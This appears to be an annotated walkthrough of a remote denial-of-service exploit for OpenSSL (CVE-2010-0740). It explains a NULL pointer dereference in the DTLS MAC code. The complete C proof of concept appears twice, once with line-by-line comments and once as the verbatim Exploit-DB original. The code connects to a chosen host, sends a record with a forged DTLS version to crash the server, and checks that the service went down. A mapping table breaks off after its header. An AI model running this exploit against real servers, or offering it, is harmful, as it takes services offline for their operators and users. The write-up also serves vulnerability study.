OpenSSL Remote Denial of Service Exploit: Record of Death

What this paper is

This paper describes a remote denial-of-service (DoS) vulnerability in certain versions of OpenSSL. The vulnerability, identified as CVE-2010-0740, allows an attacker to crash a server or client by sending specially crafted packets during the SSL/TLS handshake. The exploit code provided is a proof-of-concept to demonstrate this vulnerability.

Simple technical breakdown

The core of the vulnerability lies in how OpenSSL handles certain DTLS (Datagram Transport Layer Security) versions during the handshake. Specifically, the tls1_mac() function in ssl/t1_enc.c can encounter a NULL pointer dereference if the ssl->d1 structure is not properly initialized. This happens when using certain SSL methods (like SSLv23_server_method() or TLSv1_server_method()) on vulnerable OpenSSL versions, and the attacker sends a specific DTLS version number.

The exploit works by:

1. Establishing a TCP connection to the target.
2. Performing a standard SSL/TLS handshake.
3. Sending an initial valid SSL/TLS record.
4. Crucially, modifying the ssl->version field in the client's SSL structure to a specific DTLS version that triggers the bug.
5. Sending a second record with this modified version. This second record causes the vulnerable tls1_mac() function to be called with an uninitialized ssl->d1 pointer, leading to a crash (NULL pointer dereference).
6. The exploit then attempts to reconnect to verify if the service is down.

The exploit code targets two main scenarios based on the OpenSSL version and how it handles 16-bit values:

• Target 0 (Default): For OpenSSL 0.9.8m, where short is 16-bit. The exploit sends DTLS1_BAD_VER (0x100).
• Target 1: For OpenSSL 0.9.8f through 0.9.8m (and potentially 0.9.8n), where short is not 16-bit. The exploit sends DTLS1_VERSION (0xfeff), which is interpreted differently.

Complete code and payload walkthrough

The provided C code implements the exploit. Let's break it down:

1. Header Files and Includes:

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <openssl/ssl.h>

• These are standard C libraries for input/output (stdio.h), process control (unistd.h), memory allocation (stdlib.h), string manipulation (string.h), network name resolution (netdb.h), time functions (time.h), socket programming (sys/socket.h, netinet/in.h, arpa/inet.h), and the OpenSSL library (openssl/ssl.h).

2. usage Function:

void usage(int argc, char **argv) {
   fprintf(stderr,
           "usage: %s [-h] [-v] [-d <host>] [-p <port>]\n"
           "\n"
           "-h        help\n"
           "-v        verbose\n"
           "-d host   SSL server\n"
           "-p port   SSL port\n"
           "-t target\n"
           "   0 ... OpenSSL 0.9.8m (short = 16 bit) - default\n"
           "   1 ... OpenSSL 0.9.8f through 0.9.8m (short != 16 bit)\n"
           ,
           argv[0]);
   exit(1);
}

• Purpose: Displays a help message to the user explaining how to use the program and its command-line options.
• Inputs: argc (argument count) and argv (argument values) from main.
• Behavior: Prints usage instructions to stderr and exits the program with a status code of 1.
• Output: None (exits program).
• Mapping: usage function -> Display program help and exit.

3. connect_to Function:

int connect_to(char *host, int port) {
   struct sockaddr_in s_in;
   struct hostent *he;
   int s;

   if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
      return -1; // Socket creation failed
   }

   memset(&s_in, 0, sizeof(s_in));
   s_in.sin_family = AF_INET;
   s_in.sin_port = htons(port); // Convert port to network byte order

   if ( (he = gethostbyname(host)) != NULL)
       memcpy(&s_in.sin_addr, he->h_addr, he->h_length); // Resolve hostname to IP
   else {
       if ( (s_in.sin_addr.s_addr = inet_addr(host) ) < 0) {
          return -3; // Invalid IP address
       }
   }

   if (connect(s, (struct sockaddr *)&s_in, sizeof(s_in)) == -1) {
      return -4; // Connection failed
   }

   return s; // Return socket file descriptor
}

• Purpose: Establishes a raw TCP socket connection to a specified host and port.
• Inputs: host (target hostname or IP address) and port (target port number).
• Behavior:
  • Creates a TCP socket.
  • Configures the sockaddr_in structure with the target's IP address (resolving hostname if necessary) and port.
  • Attempts to connect to the target.
• Output: Returns the socket file descriptor on success, or negative error codes (-1, -3, -4) on failure.
• Mapping: connect_to function -> Establish raw TCP connection.

4. ssl_connect_to Function:

SSL *ssl_connect_to(int s) {
   SSL *ssl;
   SSL_CTX *ctx;
   BIO *sbio;
   SSL_METHOD *meth;

   CRYPTO_malloc_init(); // Initialize crypto memory allocation
   SSL_load_error_strings(); // Load SSL error strings
   SSL_library_init(); // Initialize the SSL library

   // meth = TLSv1_client_method(); // Could use TLSv1, but SSLv23 is more general
   meth = SSLv23_client_method(); // Use SSLv23 client method for broader compatibility
   ctx = SSL_CTX_new(meth); // Create a new SSL context
   ssl = SSL_new(ctx); // Create a new SSL structure
   sbio = BIO_new_socket(s, BIO_NOCLOSE); // Create a BIO (Basic I/O) from the socket
   SSL_set_bio(ssl, sbio, sbio); // Associate the BIO with the SSL structure

   if (SSL_connect(ssl) <= 0) { // Perform the SSL/TLS handshake
      return NULL; // Handshake failed
   }

   return ssl; // Return the SSL structure
}

• Purpose: Establishes an SSL/TLS connection over an existing TCP socket.
• Inputs: s (file descriptor of the established TCP socket).
• Behavior:
  • Initializes the OpenSSL library.
  • Selects the SSLv23_client_method (which allows negotiation of SSLv2, SSLv3, TLSv1, etc.).
  • Creates an SSL context (SSL_CTX).
  • Creates an SSL object (SSL).
  • Creates a socket BIO (BIO_new_socket) to wrap the TCP socket.
  • Associates the BIO with the SSL object.
  • Initiates the SSL/TLS handshake using SSL_connect().
• Output: Returns a pointer to the SSL structure on successful handshake, or NULL on failure.
• Mapping: ssl_connect_to function -> Establish SSL/TLS connection over TCP.

5. main Function:

int main(int argc, char **argv) {
   struct sockaddr_in s_in; // Not directly used in main logic, but declared
   struct hostent *he;      // Not directly used in main logic, but declared
   char data[1024];         // Buffer for sending HTTP request

   int s;                   // Socket file descriptor
   int target = 0;          // Target vulnerability type (0 or 1)
   char c;                  // For getopt
   char *destination = NULL; // Target host
   int port = 0;            // Target port
   SSL *ssl = NULL;         // SSL structure pointer

   fprintf(stderr,
           "hoagie_openssl_record_of_death.c - openssl ssl3_get_record() remote\n"
           "-andi / void.at\n\n");

   if (argc < 2) { // Check if any arguments are provided
      usage(argc, argv); // Display usage if no arguments
   } else {
      // Parse command-line options using getopt
      while ((c = getopt (argc, argv, "hd:p:t:")) != EOF) {
         switch (c) {
            case 'h':
                 usage(argc, argv); // Show help
                 break;
            case 'd':
                 destination = optarg; // Set destination host
                 break;
            case 'p':
                 port = atoi(optarg); // Set destination port
                 break;
            case 't':
                 target = atoi(optarg); // Set target type (0 or 1)
                 break;
         }
      }

      // Validate required arguments
      if (!destination || !port) {
         fprintf(stderr, "[*] destination and/or port missing\n");
      } else if (target && target != 1) { // Validate target value
         fprintf(stderr, "[*] invalid target '%d'\n", target);
      } else {
         // Step 1: Establish TCP connection
         s = connect_to(destination, port);
         if (s > 0) {
            fprintf(stderr, "[+] tcp connection to '%s:%d' successful\n", destination, port);
            // Step 2: Establish SSL/TLS connection
            ssl = ssl_connect_to(s);
            if (ssl) {
               fprintf(stderr, "[+] ssl connection to '%s:%d' successful\n", destination, port);
               // Prepare a simple HTTP GET request (not directly used for exploit, but for initial write)
               snprintf(data, sizeof(data), "GET / HTTP/1.0\r\n\r\n");

               fprintf(stderr, "[*] sending first packet ...\n");
               // Step 3: Send an initial valid SSL/TLS record
               SSL_write(ssl, data, strlen(data));

               // Step 4: Modify the SSL version to trigger the vulnerability
               if (!target) { // Target 0: OpenSSL 0.9.8m (short = 16 bit)
                  ssl->version = DTLS1_BAD_VER; // 0x100
               } else { // Target 1: OpenSSL 0.9.8f through 0.9.8m (short != 16 bit)
                  ssl->version = DTLS1_VERSION; // 0xfeff
               }

               fprintf(stderr, "[*] sending second packet with modified version ...\n");
               // Step 5: Send the second record with the modified version
               // This is the packet that triggers the DoS.
               SSL_write(ssl, data, strlen(data));

               // Clean up SSL and socket
               SSL_shutdown(ssl);
               close(s);

               sleep(1); // Give the server some time to crash

               // Step 6: Attempt to reconnect to check if the service is down
               fprintf(stderr, "[*] attempting to reconnect to check service status...\n");
               s = connect_to(destination, port);
               if (s > 0) {
                  // If connection is successful, the exploit failed
                  fprintf(stderr, "[-] exploit failed (service is still up)\n");
                  close(s);
               } else {
                  // If connection fails, the exploit was successful
                  fprintf(stderr, "[+] exploit successful (service is down)\n");
               }
            } else {
               fprintf(stderr, "[-] ssl connection to '%s:%d' failed\n", destination, port);
            }
         } else {
            fprintf(stderr, "[-] tcp connection to '%s:%d' failed\n", destination, port);
         }
      }
   }
   
   return 0;
}

• Purpose: The main entry point of the exploit program. It parses arguments, establishes connections, and executes the exploit logic.
• Inputs: Command-line arguments (argc, argv).
• Behavior:
  • Prints a banner.
  • Parses command-line options (-h, -d, -p, -t) using getopt.
  • Validates that destination and port are provided.
  • Calls connect_to to establish a TCP connection.
  • If TCP connection succeeds, calls ssl_connect_to to establish an SSL/TLS connection.
  • If SSL connection succeeds:
    • Prepares a dummy HTTP GET request.
    • Sends the first packet using SSL_write.
    • Crucially, it modifies ssl->version based on the target argument:
      • If target is 0, ssl->version is set to DTLS1_BAD_VER (0x100).
      • If target is 1, ssl->version is set to DTLS1_VERSION (0xfeff).
    • Sends the second packet using SSL_write. This packet, with the manipulated version, triggers the vulnerability.
    • Shuts down the SSL connection and closes the TCP socket.
    • Waits for 1 second.
    • Attempts to reconnect to the target.
    • Reports success if the reconnection fails (indicating the service is down) or failure if the reconnection succeeds.
• Output: Prints status messages to stderr indicating progress and the final outcome of the exploit.
• Mapping:
  • main function -> Program entry point, argument parsing, connection management, exploit execution.
  • getopt loop -> Command-line argument parsing.
  • snprintf(data, ...) -> Prepare initial data for SSL_write.
  • SSL_write(ssl, data, strlen(data)); (first call) -> Send initial valid record.
  • ssl->version = DTLS1_BAD_VER; or ssl->version = DTLS1_VERSION; -> Payload modification: Set vulnerable version.
  • SSL_write(ssl, data, strlen(data)); (second call) -> Send crafted record to trigger DoS.
  • SSL_shutdown(ssl); close(s); -> Clean up resources.
  • sleep(1); -> Pause to allow crash to occur.
  • connect_to(destination, port); (second call) -> Check if service is available.

Payload/Shellcode Explanation:

There is no traditional shellcode or separate payload bytes in this exploit. The "payload" is the crafted network traffic generated by the C code itself, specifically the second SSL_write call after manipulating the ssl->version field.

• Stage 1: Initial Connection and Handshake: The program establishes a TCP connection and then an SSL/TLS connection. This is standard procedure and not malicious in itself.
• Stage 2: Sending the First Record: A standard HTTP GET request is sent over the established SSL connection. This is to ensure a valid record is sent before the malicious one.
• Stage 3: Manipulating ssl->version: This is the core of the exploit's "payload" logic. By directly modifying the ssl->version field within the SSL structure in memory, the program prepares the next record to be sent with a specific, vulnerable version number.
  • For target = 0 (OpenSSL 0.9.8m): ssl->version is set to DTLS1_BAD_VER (which is defined as 0x100). The vulnerability occurs when ssl->version is DTLS1_BAD_VER or DTLS1_VERSION and ssl->client_version is not DTLS1_BAD_VER. The code doesn't explicitly set ssl->client_version, but the internal state likely results in the problematic condition. The tls1_mac() function then attempts to use ssl->d1 which is NULL.
  • For target = 1 (OpenSSL 0.9.8f-0.9.8m): ssl->version is set to DTLS1_VERSION (which is defined as 0xfeff). The vulnerability occurs when ssl->version is DTLS1_VERSION and ssl->client_version is not DTLS1_BAD_VER. Again, the tls1_mac() function is called with a NULL ssl->d1.
• Stage 4: Sending the Malicious Record: The second SSL_write call sends data. Because ssl->version was modified, the OpenSSL library constructs a TLS record with this manipulated version. When the tls1_mac() function is called internally to process this record, it dereferences the ssl->d1 pointer, which is NULL, causing a segmentation fault and crashing the OpenSSL process.

Code Fragment/Block -> Practical Purpose Mapping:

| Code Fragment/Block | Practical Purpose

Original Exploit-DB Content (Verbatim)

/***********************************************************
 * hoagie_openssl_record_of_death.c
 * OPENSSL REMOTE DENIAL-OF-SERVICE EXPLOIT 
 * - OpenSSL 0.9.8m (short = 16 bit)
 * - OpenSSL 0.9.8f through 0.9.8m (short != 16 bit)
 *
 * CVE-2010-0740
 *
 * Bug discovered by:
 * Bodo Moeller and Adam Langley (Google)
 * Philip Olausson <po@secweb.se>
 * http://openssl.org/news/secadv_20100324.txt
 *
 * The main problem is in ssl/t1_enc.c => tls1_mac() function
 *
 * - OpenSSL 0.9.8m
 *         if (ssl->version == DTLS1_BAD_VER ||
 *           (ssl->version == DTLS1_VERSION && ssl->client_version != DTLS1_BAD_VER))
 *               {
 *               unsigned char dtlsseq[8],*p=dtlsseq;
 *               s2n(send?ssl->d1->w_epoch:ssl->d1->r_epoch, p);
 *
 * - OpenSSL 0.9.8f - 0.9.8n
 *         if (ssl->version == DTLS1_VERSION && ssl->client_version != DTLS1_BAD_VER)
 *               {
 *               unsigned char dtlsseq[8],*p=dtlsseq;
 *
 *               s2n(send?ssl->d1->w_epoch:ssl->d1->r_epoch, p);
 *
 * There is a NULL pointer dereference => ssl->d1 because d1 is only initialized in
 * ssl/d1_lib.c => dtls1_new(). So if you use SSLv23_server_method() or 
 * TLSv1_server_method() this variable will be NULL.
 *
 * If the patch (see http://openssl.org/news/secadv_20100324.txt) is not applied
 * its possible to set the version to DTLS1_BAD_VER (0x100) or DTLS_VERSION (0xfeff)
 * and transmit the packet to the server or client to trigger the vulnerability.
 *
 * When you are using OpenSSL 0.9.8m you can send DTLS1_BAD_VER because 0x100 is not 
 * a problem with signed/unsigned.
 *
 * If you are using OpenSSL 0.9.8f to 0.9.8n you have to trigger the vulnerability
 * via DTLS1_VERSION. In that case version will be 0xfffffeff. So it doesnt work
 * if DTLS1_VERSION is 16 bit.
 *
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
 * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
 * DAMAGE DONE USING THIS PROGRAM.
 *
 * VOID.AT Security
 * andi@void.at
 * http://www.void.at
 *
 ************************************************************/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <openssl/ssl.h>

/* usage
 * display help screen
 */
void usage(int argc, char **argv) {
   fprintf(stderr,
           "usage: %s [-h] [-v] [-d <host>] [-p <port>]\n"
           "\n"
           "-h        help\n"
           "-v        verbose\n"
           "-d host   SSL server\n"
           "-p port   SSL port\n"
           "-t target\n"
           "   0 ... OpenSSL 0.9.8m (short = 16 bit) - default\n"
           "   1 ... OpenSSL 0.9.8f through 0.9.8m (short != 16 bit)\n"
           ,
           argv[0]);
   exit(1);
}

/* connect_to
 * connect to remote http server
 */
int connect_to(char *host, int port) {
   struct sockaddr_in s_in;
   struct hostent *he;
   int s;

   if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
      return -1;
   }

   memset(&s_in, 0, sizeof(s_in));
   s_in.sin_family = AF_INET;
   s_in.sin_port = htons(port);

   if ( (he = gethostbyname(host)) != NULL)
       memcpy(&s_in.sin_addr, he->h_addr, he->h_length);
   else {
       if ( (s_in.sin_addr.s_addr = inet_addr(host) ) < 0) {
          return -3;
       }
   }

   if (connect(s, (struct sockaddr *)&s_in, sizeof(s_in)) == -1) {
      return -4;
   }

   return s;
}

/* ssl_connect_to
 * establish ssl connection over tcp connection
 */
SSL *ssl_connect_to(int s) {
   SSL *ssl;
   SSL_CTX *ctx;
   BIO *sbio;
   SSL_METHOD *meth;

   CRYPTO_malloc_init();
   SSL_load_error_strings();
   SSL_library_init();

   // meth = TLSv1_client_method();
   meth = SSLv23_client_method();
   ctx = SSL_CTX_new(meth);
   ssl = SSL_new(ctx);
   sbio = BIO_new_socket(s, BIO_NOCLOSE);
   SSL_set_bio(ssl, sbio, sbio);

   if (SSL_connect(ssl) <= 0) {
      return NULL;
   }

   return ssl;
}


int main(int argc, char **argv) {
   struct sockaddr_in s_in;
   struct hostent *he;
   char data[1024];

   int s;
   int target = 0;
   char c;
   char *destination = NULL;
   int port = 0;
   SSL *ssl = NULL;

   fprintf(stderr,
           "hoagie_openssl_record_of_death.c - openssl ssl3_get_record() remote\n"
           "-andi / void.at\n\n");

   if (argc < 2) {
      usage(argc, argv);
   } else {
      while ((c = getopt (argc, argv, "hd:p:t:")) != EOF) {
         switch (c) {
            case 'h':
                 usage(argc, argv);
                 break;
            case 'd':
                 destination = optarg;
                 break;
            case 'p':
                 port = atoi(optarg);
                 break;
            case 't':
                 target = atoi(optarg);
                 break;
         }
      }

      if (!destination || !port) {
         fprintf(stderr, "[*] destination and/or port missing\n");
      } else if (target && target != 1) {
         fprintf(stderr, "[*] invalid target '%d'\n", target);
      } else {
         s = connect_to(destination, port);
         if (s > 0) {
            fprintf(stderr, "[+] tcp connection to '%s:%d' successful\n", destination, port);
            ssl = ssl_connect_to(s);
            if (ssl) {
               fprintf(stderr, "[+] ssl connection to '%s:%d' successful\n", destination, port);
               snprintf(data, sizeof(data), "GET / HTTP/1.0\r\n\r\n");

               fprintf(stderr, "[+] sending first packet ...\n");
               SSL_write(ssl, data, strlen(data));

               if (!target) {
                  ssl->version = DTLS1_BAD_VER;
               } else {
                  ssl->version = DTLS1_VERSION;
               }

               fprintf(stderr, "[+] sending second paket ...\n");
               SSL_write(ssl, data, strlen(data));

               SSL_shutdown(ssl);
               close(s);

               sleep(1);

               s = connect_to(destination, port);
               if (s > 0) {
                  fprintf(stderr, "[-] exploit failed\n");
                  close(s);
               } else {
                  fprintf(stderr, "[+] exploit successful\n");
               }
            } else {
               fprintf(stderr, "[-] ssl connection to '%s:%d' failed\n", destination, port);
            }
         } else {
            fprintf(stderr, "[-] tcp connection to '%s:%d' failed\n", destination, port);
         }
      }
   }
   
   return 0;
}